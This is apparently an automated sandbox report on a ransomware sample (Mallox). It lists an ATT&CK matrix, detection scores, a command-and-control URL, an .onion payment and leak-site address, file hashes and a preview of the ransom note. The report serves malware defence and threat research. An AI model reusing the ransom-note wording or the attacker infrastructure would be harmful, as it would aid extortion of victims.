Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 DLL Side-Loading	11 Input Capture	11 Peripheral Device Discovery	Remote Services	1 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Service Execution	1 Windows Service	1 Windows Service	1 File Deletion	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	11 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	1 Inhibit System Recovery
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	Security Account Manager	12 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Bootkit	1 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	NTDS	1 Network Share Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Hidden Files and Directories	Cached Domain Credentials	1 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Bootkit	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	21 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Source	Detection	Scanner	Label	Link
malware.exe	100%	ReversingLabs	Win32.Ransomware.GarrantyDecrypt
malware.exe	82%	Virustotal		Browse
malware.exe	100%	Avira	HEUR/AGEN.1319003
malware.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://whyers.io/QWEwqdsvsf/ap.phps	0%	Avira URL Cloud	safe
https://whyers.io/)	0%	Avira URL Cloud	safe
https://whyers.io/s	0%	Avira URL Cloud	safe
https://whyers.io/QWEwqdsvsf/ap.phpt	0%	Avira URL Cloud	safe
https://whyers.io/3	0%	Avira URL Cloud	safe
https://whyers.io/QWEwqdsvsf/ap.phpy	0%	Avira URL Cloud	safe
https://webstore.google.com/	0%	Avira URL Cloud	safe
http://css3pie.com	0%	Avira URL Cloud	safe
https://whyers.io/	0%	Avira URL Cloud	safe
https://whyers.io/QWEwqdsvsf/ap.phpnd	0%	Avira URL Cloud	safe
https://whyers.io/QWEwqdsvsf/ap.phpContent-Type:	0%	Avira URL Cloud	safe
https://whyers.io/QWEwqdsvsf/ap.phpQWEwqdsvsf/ap.php	0%	Avira URL Cloud	safe
https://whyers.io/QWEwqdsvsf/ap.php	0%	Avira URL Cloud	safe
http://api.ipify.orgx32x64%s	0%	Avira URL Cloud	safe
https://whyers.io/QWEwqdsvsf/ap.phpg	0%	Avira URL Cloud	safe
https://whyers.io/QWEwqdsvsf/ap.phps	17%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
whyers.io	13.248.169.48	true	true	17%, Virustotal, Browse	unknown
api.ipify.org	172.67.74.152	true	false		high

Name	Malicious	Antivirus Detection	Reputation
http://api.ipify.org/	false		high
https://whyers.io/QWEwqdsvsf/ap.php	true	Avira URL Cloud: safe	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://whyers.io/3	malware.exe, 00000000.00000003.1691543282.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://whyers.io/QWEwqdsvsf/ap.phps	malware.exe, 00000000.00000003.1729388605.0000000004D50000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://whyers.io/s	malware.exe, 00000000.00000003.1796881992.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1794658829.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1789533041.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1788942681.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1807188084.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1801556961.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1784852079.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://whyers.io/QWEwqdsvsf/ap.phpt	malware.exe, 00000000.00000003.2041675211.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://jquery.org/license	index.html.0.dr	false		high
https://whyers.io/)	malware.exe, 00000000.00000003.1796881992.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1794658829.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1789533041.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1788942681.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1807188084.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1801556961.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1784852079.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://webstore.google.com/	resources.pak0.0.dr	false	Avira URL Cloud: safe	unknown
https://whyers.io/QWEwqdsvsf/ap.phpy	malware.exe, 00000000.00000003.1763717846.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1769660512.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1754054435.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1756661483.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1759582601.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1742531721.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1762438430.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1747377941.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1729388605.0000000004D50000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1770992838.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1771865574.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://sizzlejs.com/	index.html.0.dr	false		high
http://css3pie.com	index.html.0.dr	false	Avira URL Cloud: safe	unknown
https://whyers.io/	malware.exe, 00000000.00000003.1857834155.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2321452398.0000000004D56000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2303264795.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1925943676.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1796881992.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2252053063.0000000004D56000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2375208096.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1794658829.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2191393645.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1922502022.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2432004957.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1691543282.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1919160838.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1789533041.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2482024738.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1839868357.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1788942681.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2189324109.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2369982423.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2500906615.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2185245833.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://whyers.io/QWEwqdsvsf/ap.phpnd	malware.exe, 00000000.00000003.2041675211.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://whyers.io/QWEwqdsvsf/ap.phpContent-Type:	malware.exe	true	Avira URL Cloud: safe	unknown
http://crbug.com/775961	resources.pak0.0.dr	false		high
https://www.torproject.org/download/	malware.exe, FILE RECOVERY.txt421.0.dr, FILE RECOVERY.txt215.0.dr, FILE RECOVERY.txt529.0.dr, FILE RECOVERY.txt102.0.dr, FILE RECOVERY.txt183.0.dr, FILE RECOVERY.txt230.0.dr, FILE RECOVERY.txt348.0.dr, FILE RECOVERY.txt58.0.dr, FILE RECOVERY.txt349.0.dr, FILE RECOVERY.txt573.0.dr, FILE RECOVERY.txt342.0.dr, FILE RECOVERY.txt28.0.dr, FILE RECOVERY.txt446.0.dr, FILE RECOVERY.txt401.0.dr, FILE RECOVERY.txt97.0.dr, FILE RECOVERY.txt285.0.dr, FILE RECOVERY.txt324.0.dr, FILE RECOVERY.txt409.0.dr, FILE RECOVERY.txt571.0.dr, FILE RECOVERY.txt598.0.dr	false		high
https://whyers.io/QWEwqdsvsf/ap.phpQWEwqdsvsf/ap.php	malware.exe, 00000000.00000003.1887164409.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1868651794.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1977014914.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1855694509.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2037221890.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1987432788.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2022464109.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2005801076.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1980943375.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1960503217.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1873661843.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2002388849.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1846105138.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1902261303.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1846576841.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1962199418.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2019688647.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2013453165.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2042488475.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1994372794.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2005382194.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://jquery.com/	index.html.0.dr	false		high
http://api.ipify.orgx32x64%s	malware.exe	false	Avira URL Cloud: safe	unknown
https://whyers.io/QWEwqdsvsf/ap.phpg	malware.exe, 00000000.00000003.1796881992.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1794658829.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1789533041.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1788942681.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1807188084.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1801556961.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1784852079.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://api.ipify.org	malware.exe, 00000000.00000003.1698970841.0000000004A71000.00000004.00000020.00020000.00000000.sdmp	false		high

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
13.248.169.48	whyers.io	United States		16509	AMAZON-02US	true
172.67.74.152	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570605
Start date and time:	2024-12-07 12:40:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	malware.exe (renamed file extension from none to exe)
Original Sample Name:	malware
Detection:	MAL
Classification:	mal100.rans.spyw.evad.winEXE@16/1027@2/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Override analysis time to 240000 for current running targets taking high CPU consumption

Time	Type	Description
06:41:00	API Interceptor	6x Sleep call for process: malware.exe modified
11:41:25	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FILE RECOVERY.txt

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.248.169.48	DHL_734825510.exe	Get hash	malicious	FormBook	Browse	www.egyshare.xyz/440l/
	purchase order.exe	Get hash	malicious	FormBook	Browse	www.aktmarket.xyz/wb7v/
	SRT68.exe	Get hash	malicious	FormBook	Browse	www.avalanchefi.xyz/vxa5/
	ek8LkB2Cgo.exe	Get hash	malicious	FormBook	Browse	www.remedies.pro/4azw/
	Document_084462.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.optimismbank.xyz/98j3/?2O=jo1iJOnj8ueGZPJDfvyWmhhX4bGAJjt1DdtSaCSQL5v3UEYBE5VATgnqgu9yCYXU1qT81UG2HbOLQLBbZNDoJaqiWagLaQ4MrpZVJnF4w7w/HKU2baOdEb4=&ChhG6=J-xs
	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	www.smartgov.shop/1cwp/
	SW_5724.exe	Get hash	malicious	FormBook	Browse	www.egyshare.xyz/440l/
	attached invoice.exe	Get hash	malicious	FormBook	Browse	www.aktmarket.xyz/wb7v/
	YH-3-12-2024-GDL Units - Projects.exe	Get hash	malicious	FormBook	Browse	www.tals.xyz/k1td/
	Proforma invoice - Arancia NZ.exe	Get hash	malicious	FormBook	Browse	www.optimismbank.xyz/98j3/
172.67.74.152	Simple1.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Simple2.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Zc9eO57fgF.elf	Get hash	malicious	Unknown	Browse	api.ipify.org/
	67065b4c84713_Javiles.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	4F08j2Rmd9.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	y8tCHz7CwC.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report malware.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$Recycle.Bin\FILE RECOVERY.txt

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000\FILE RECOVERY.txt

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1001\FILE RECOVERY.txt

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002\FILE RECOVERY.txt

C:\$WinREAgent\FILE RECOVERY.txt

C:\Documents and Settings\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-shm.malox (copy)

C:\Documents and Settings\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-wal.malox (copy)

C:\FILE RECOVERY.txt

C:\Program Files\7-Zip\7-zip.chm

C:\Program Files\7-Zip\7z.sfx

C:\Program Files\7-Zip\7zCon.sfx

C:\Program Files\7-Zip\History.txt

C:\Program Files\7-Zip\Lang\ar.txt

C:\Program Files\7-Zip\Lang\ba.txt

C:\Program Files\7-Zip\Lang\be.txt

C:\Program Files\7-Zip\Lang\bg.txt

Windows Analysis Report
malware.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
whyers.io	1.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	172.67.191.103
	Imdouqb.bat	Get hash	malicious	Unknown	Browse	104.21.76.77
	mallox.bin.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	104.21.76.77
	CnsRlvK7Ho.exe	Get hash	malicious	Targeted Ransomware	Browse	172.67.191.103
	aKiefGOIEn.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	104.21.76.77
	M74aRxVX4H.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	104.21.76.77
	XZerken3Py.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	172.67.191.103
	PIB42H30FM.exe	Get hash	malicious	Neshta, Targeted Ransomware	Browse	104.21.76.77
	dCiZg2JJEr.exe	Get hash	malicious	Targeted Ransomware	Browse	104.21.76.77
	mTCDNn2yjZ.exe	Get hash	malicious	Targeted Ransomware	Browse	172.67.191.103
api.ipify.org	Overdue_payment.pdf.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	TECHNICAL SPECIFICATIONS.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Shipping Documents 72908672134.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	980001672 PPR for 30887217.scr.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	y1rS62yprs.exe	Get hash	malicious	Babadeda	Browse	104.26.13.205
	apilibx64.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	xKvkNk9SXR.exe	Get hash	malicious	TrojanRansom	Browse	104.26.12.205
	BiXS3FRoLe.exe	Get hash	malicious	TrojanRansom	Browse	104.26.13.205
	lEUy79aLAW.exe	Get hash	malicious	TrojanRansom	Browse	104.26.13.205
	GD8c7ARn8q.exe	Get hash	malicious	TrojanRansom	Browse	104.26.12.205

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	jmhgeojeri.elf	Get hash	malicious	Unknown	Browse	99.77.190.195
	i686.elf	Get hash	malicious	Unknown	Browse	34.214.142.97
	jmggnxeedy.elf	Get hash	malicious	Unknown	Browse	108.140.170.78
	pjyhwsdgkl.elf	Get hash	malicious	Unknown	Browse	3.166.144.252
	i586.elf	Get hash	malicious	Unknown	Browse	3.99.213.175
	arm5.elf	Get hash	malicious	Unknown	Browse	52.58.164.45
	jmhgeojeri.elf	Get hash	malicious	Unknown	Browse	3.110.117.56
	mips.elf	Get hash	malicious	Unknown	Browse	52.18.252.214
	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	13.60.8.87
	xobftuootu.elf	Get hash	malicious	Unknown	Browse	100.21.154.148
CLOUDFLARENETUS	jmggnxeedy.elf	Get hash	malicious	Unknown	Browse	104.25.181.119
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	172.71.100.65
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	pbnpvwfhco.elf	Get hash	malicious	Unknown	Browse	104.25.44.215
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	BanK_copy.rtf	Get hash	malicious	Unknown	Browse	188.114.96.6
	BL-100410364195.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	INQUIRY REQUEST AND PRICES_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	13.248.169.48
	Bank Swift and SOA PRN00720031415453_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	13.248.169.48
	RFQ Order list #2667747.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	13.248.169.48
	Payment Details Ref#577767.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	13.248.169.48
	IBAN Payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	13.248.169.48
	AdminAccounts.aspx.dll	Get hash	malicious	Matanbuchus	Browse	13.248.169.48
	AdminAccounts.aspx.dll	Get hash	malicious	Matanbuchus	Browse	13.248.169.48
	Doc_21-04-53.js	Get hash	malicious	Matanbuchus	Browse	13.248.169.48
	klog.php.msi	Get hash	malicious	Matanbuchus	Browse	13.248.169.48
	Doc_21-04-53.js	Get hash	malicious	Matanbuchus	Browse	13.248.169.48

Process:	C:\Users\user\Desktop\malware.exe
File Type:	data
Category:	dropped
Size (bytes):	1212
Entropy (8bit):	4.817204804834761
Encrypted:	false
SSDEEP:	24:a/uI08Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsWUPR4v0AVCQyYFaH6e:a/uWJ9bZGyV59yUZu0AVCT
MD5:	3064346A01D087777BCFB33AFB161130
SHA1:	0FAB19D900E345B654AFEACE14C4FDC2A1C8BABD
SHA-256:	BD84B0AAA9D346BF0D276B3AA2E4A920930D052627EBCC49673E262DDFCB83BD
SHA-512:	662CB507091E754BE678C7DFA09CE1ADA6A9A0D9E05F5F35134C73E8AB262562D1F8454EE369D81EDD6696FF27A45FFB063EA82D677481922954465F8B2DE951
Malicious:	true
Preview:	Hello....Your files are encrypted and can not be used..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: D867AABCB6CF90E097786850..5) You will see payment information and we can make free test decryption here....Our blog of leaked companies:..wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion....If you are unab

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.513355105427463
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	malware.exe
File size:	146'944 bytes
MD5:	99bfaaacebf1b34fdebd4e7ce4070a36
SHA1:	2e4080a5a71ad5030b9cab6e1465a5777ea57cf2
SHA256:	c0e35b19f97021416e3724006511afc95d6aa409404e812d8c62b955bc917d3c
SHA512:	899e0ee99ebc0a27cdb499cbce6e0190d6af260c35c54456c55dcf2b5ce9cdef78f6d8d85ed3ecaf618c282d2eb47cd1b2433d915480ccf9e5c39de9ba0d8bad
SSDEEP:	3072:JpcKbMfUcJItoKrBLbsdKIQD8i4WT7BTxvrSa6wKKmhgsLSLonChYgV:Jpc7UcJImWLGKIFKpT8KdaCegV
TLSH:	D9E37C527AD2C471E2B70E301974DAA25A3EFC314F61AA5B63A4026E9F305D0ED31E77
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l!a.(@..(@..(@..M&.."@..M&...@......@.....9@...*..<@..M&..)@..M&..;@..M&..;@..(@...@..\+..%@..\+..)@..\+..)@..Rich(@.........

Entrypoint:	0x4091f0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x643EAD88 [Tue Apr 18 14:47:36 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	ef6afd25026ed6e85998a22ffa00fbd2

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2151c	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x28000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x29000	0x17c0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x20540	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2061c	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x20578	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x19000	0x2cc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x17984	0x17a00	c08d015704b9619ecb7408ae4b4e5dc1	False	0.5989893353174603	data	6.690193304423013	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
